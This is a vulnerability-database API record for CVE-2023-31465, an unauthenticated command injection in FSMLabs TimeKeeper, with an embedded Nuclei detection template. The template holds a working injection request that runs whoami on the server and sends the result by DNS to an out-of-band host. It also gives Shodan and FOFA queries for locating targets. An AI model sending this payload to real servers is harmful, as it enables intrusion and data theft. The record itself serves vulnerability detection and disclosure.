{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2023-31465/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2023-31465/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2023-31465/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2023-31465/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2023-31465/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2023-31465"},"sightings":{"href":"/api/v1/sightings/cve-2023-31465"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2023/CVE-2023-31465.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2023-31465\n\ninfo:\n  name: TimeKeeper by FSMLabs - Remote Code Execution\n  author: ritikchaddha\n  severity: critical\n  description: |\n    An issue was discovered in FSMLabs TimeKeeper 8.0.17 through 8.0.28. By intercepting requests from various timekeeper streams, it is possible to find the getsamplebacklog call. Some query parameters are passed directly in the URL and named arg[x], with x an integer starting from 1; it is possible to modify arg[2] to insert Bash code that will be executed directly by the server.\n  impact: |\n    Unauthenticated attackers can inject Bash commands through the arg[2] parameter in getsamplebacklog endpoint to execute arbitrary commands on the server, potentially compromising the entire TimeKeeper time synchronization infrastructure.\n  remediation: |\n    Update FSMLabs TimeKeeper to a version newer than 8.0.28 that properly sanitizes input parameters in getsamplebacklog and prevents command injection attacks.\n  reference:\n    - https://github.com/CapgeminiCisRedTeam/Disclosure/blob/main/CVE%20PoC/CVE-ID%20%7C%20RealGimm%20%20-%20Reflected%20Cross-site%20Scripting.md\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-31465\n    - https://fsmlabs.com/fsmlabs-cybersecurity/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2023-31465\n    epss-score: 0.46304\n    epss-percentile: 0.98774\n    cpe: cpe:2.3:a:fsmlabs:timekeeper:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: fsmlabs\n    product: timekeeper\n    shodan-query: http.favicon.hash:2134367771\n    fofa-query: icon_hash=2134367771\n  tags: cve,cve2023,timekeeper,rce,oast,fsmlabs,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        GET /getsamplebacklog?arg1=2d0ows2x9anpzaorxi9h4csmai08jjor&arg2=%7b%22type%22%3a%22client%22%2c%22earliest%22%3a%221676976316.328%7c%7cnslookup%20%24(xxd%20-pu%20%3c%3c%3c%20%24(whoami)).{{interactsh-url}}%7c%7cx%22%2c%22latest%22%3a1676976916.328%2c%22origins%22%3a%5b%7b%22ip%22%3a%22{{Hostname}}%22%2c%22source%22%3a0%7d%5d%2c%22seriesID%22%3a3%7d&arg3=undefined&arg4=undefined&arg5=undefined&arg6=undefined&arg7=undefined HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - dns\n\n      - type: word\n        part: body\n        words:\n          - '{\"seriesID\":'\n# digest: 4a0a00473045022100faa762092e96d2e7b3e3ac2dea4e5bdfd2802336c9a3ab59ad38848eff83e2bb022041f62c83575c2fd7133aa0edd6058751d736c20bef092351bca453e870067328:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2023-31465"}